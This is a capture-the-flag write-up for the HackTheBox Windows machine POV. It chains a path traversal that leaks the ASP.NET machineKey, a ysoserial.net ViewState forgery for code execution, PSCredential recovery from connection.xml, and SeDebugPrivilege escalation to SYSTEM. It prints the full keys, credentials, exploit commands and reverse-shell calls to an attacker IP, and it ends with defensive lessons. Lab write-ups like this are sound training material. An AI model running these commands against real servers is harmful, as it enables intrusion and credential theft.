POV
Box Info
Platform: HackTheBox, OS: Windows Server 2019, Difficulty: Medium, Released: 2024-04-13, IP: 10.10.11.251 , pov.htb
Partial
My notes cover recon, the path traversal, and the ViewState technique. The alaading pivot and SYSTEM step are reconstructed from published writeups (benheater, Siddhi) and marked.
Attack Path
- IIS site
pov.htb. A vhost sweep findsdev.pov.htb, whosedownload.aspx?file=is path traversal. URL-encode the Windows drive prefix (:\,%3a%5c) and readweb.config, which holds the ASP.NETmachineKey(validationKey/decryptionKey). - With the machine key, forge a malicious
__VIEWSTATEwithysoserial.net. IIS deserializes it. RCE assfitz. sfitz’s Documents hasconnection.xml, an exported PSCredential.Import-CliXmlrecoversalaading : f8gQ8fynP44ek1m3.RunasCs.exe(orInvoke-Command) gets analaadingshell.alaadinghasSeDebugPrivilege. UsePsGetSys.ps1(or a meterpreter migrate) to open a SYSTEM process and run code in it. SYSTEM.
Credentials and Flags
| Where | Value |
|---|---|
connection.xml (PSCredential) | alaading : f8gQ8fynP44ek1m3 |
user.txt | C:\Users\alaading\Desktop\user.txt |
root.txt | C:\Users\Administrator\Desktop\root.txt |
Overview
POV is a clean ASP.NET box, and it is a great example of why I always poke at every parameter on a “download this file” feature. The foothold is the classic web.config to machineKey to ViewState chain: a path traversal leaks the server’s static machineKey, and once you have the validationKey and decryptionKey you can forge a __VIEWSTATE that the framework deserializes, which ysoserial.net turns into RCE. The pivot is Import-CliXml on an exported PSCredential, which is a Windows footgun I keep seeing on real engagements too: Export-CliXml on a credential produces a file that anyone can decrypt if it was exported without DPAPI user scoping, or that decrypts trivially for the same user. Root is SeDebugPrivilege, which lets you open a handle to any process, so you inject into or migrate into a SYSTEM process. Three completely different bug classes (path traversal, insecure deserialization, and a Windows privilege footgun), each one textbook, chained end to end.
Related ViewState / .NET deserialization: Anubis, GameBuzz, Bagel. Related exported-credential file: POV is the reference. Related token / privilege abuse to SYSTEM: Hack Smarter Security, Anubis.
Full Walkthrough
Reconnaissance
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
|_http-title: pov.htb
IIS on a single open port is a small surface, so the vhost sweep is not optional here, it is the whole recon. A vhost sweep (or the page source) reveals dev.pov.htb, a “portfolio” site with a download.aspx?file=cv.pdf link. Any time I see a query parameter that looks like it maps straight onto a filesystem path, I try to break it before I do anything else on the page.
Path traversal in download.aspx
Encoding a Windows path
download.aspx does Response.WriteFile(Server.MapPath(Request["file"])) style handling with a light filter. To smuggle an absolute path through it, URL-encode the drive prefix so the filter does not see : or \:
:\ -> %3a%5c
\ -> %5cfile=..%5c..%5c..%5cinetpub%5cwwwroot%5cweb.config (or the absolute C%3a%5c...) returns web.config.
<machineKey decryption="AES" validation="SHA1"
decryptionKey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94ADCB4B2F6B93D9B411E82"
validationKey="5620D3D029F914F4CD1BD46F0F16E9E0B9B6693F9F439A97D9866514AC81DD493AC1F2C5CCD2CB49782B282ACA729B1CB48E46E33E2545430E1B92CE51B5AC3C" />Foothold, forge the ViewState
Why a leaked machineKey is RCE
ASP.NET protects __VIEWSTATE with an HMAC (validationKey) and, if viewStateEncryptionMode is on, AES (decryptionKey). Those keys are meant to be random per-app. When you have them, you can craft a __VIEWSTATE that passes validation and whose payload is a serialized .NET object. ysoserial.net’s ViewState plugin builds one with a TypeConfuseDelegate / ActivitySurrogateSelector gadget that runs a command on deserialization.
ysoserial.exe -p ViewState -g TextFormattingRunProperties \
--generator="<__VIEWSTATEGENERATOR value>" \
--validationkey="5620D3D0..." --validationalg="SHA1" \
--decryptionkey="74477CEB..." --decryptionalg="AES" \
-c "powershell -e <b64 reverse shell>"POST that as __VIEWSTATE to the dev page. Shell as sfitz.
sfitz to alaading
user.txt is not in sfitz’s home directory, which is usually my cue that there is a lateral move coming before I get to touch a flag. A look through the Documents folder turned up something a lot more interesting than a text file.
type C:\Users\sfitz\Documents\connection.xml<Objs ...><Obj RefId="0"><TN RefId="0"><T>System.Management.Automation.PSCredential</T></TN>
<Props><S N="UserName">alaading</S>
<SS N="Password">01000000d08c9ddf0115d1118c7a00c04fc297eb...</SS></Props></Obj></Objs>Import-CliXml on an exported credential
Export-CliXml on a PSCredential writes the password as a DPAPI blob scoped to the user and machine that exported it. Running as that same user (sfitz), Import-CliXml decrypts it back to plaintext:
$c = Import-CliXml C:\Users\sfitz\Documents\connection.xml
$c.GetNetworkCredential().Password # f8gQ8fynP44ek1m3.\RunasCs.exe alaading f8gQ8fynP44ek1m3 powershell -r 10.10.14.5:9002user.txt is on alaading’s desktop.
Privilege Escalation, SeDebugPrivilege
The very first thing I run in any new Windows shell is whoami /priv, it takes two seconds and it has handed me easy wins more than once. This time was no exception.
whoami /priv
# SeDebugPrivilege EnabledSeDebugPrivilege to SYSTEM
SeDebugPrivilege lets a process OpenProcess any other process with full access, including SYSTEM processes. From there you can inject a thread, or duplicate the process token and CreateProcessWithTokenW. PsGetSys.ps1 picks a SYSTEM pid (winlogon, lsass) and spawns a child in its context. Metasploit’s migrate does the same via SeDebugPrivilege.
Import-Module .\psgetsys.ps1
[MyProcess]::CreateProcessFromParent((Get-Process winlogon).Id, "cmd.exe /c powershell -e <b64 rev shell>")Catch a SYSTEM shell, read root.txt. It is a satisfying finish, a path traversal that should never have leaked a machineKey, a credential file that should never have stayed on disk, and a privilege that should never have been left on a non-admin account, and each one alone was enough to move the chain one step further.
Loot
| Flag | Location |
|---|---|
user.txt | C:\Users\alaading\Desktop\user.txt |
root.txt | C:\Users\Administrator\Desktop\root.txt |
Lessons and Takeaways
- Rotate the ASP.NET
machineKeyand never commit it. A leaked key is unauthenticated RCE via ViewState. - Canonicalise file paths in download handlers. Reject anything that resolves outside the intended directory; URL-decoding tricks are endless.
- Do not leave exported credentials on disk.
connection.xmlfromExport-CliXmlis a password file. Use a vault or Group Managed Service Accounts. SeDebugPrivilegeis effectively admin. Remove it from service and user accounts that do not need debugging rights.
Related Writeups
- ViewState / .NET deserialization: Anubis, GameBuzz, Bagel
- Credential file on disk: POV
connection.xml, see also Bolt / Environment - Windows privilege abuse to SYSTEM: Hack Smarter Security, Anubis
- Path traversal in a download endpoint: Bagel, Titanic
References
- HTB POV (benheater) https://benheater.com/hackthebox-pov/
- Exploiting ViewState (HackTricks) https://book.hacktricks.xyz/pentesting-web/deserialization/exploiting-__viewstate-parameter
- ysoserial.net https://github.com/pwntester/ysoserial.net
- PsGetSys.ps1 https://github.com/decoder-it/psgetsystem
- Final privilege escalation steps cross-referenced against public writeups for this box.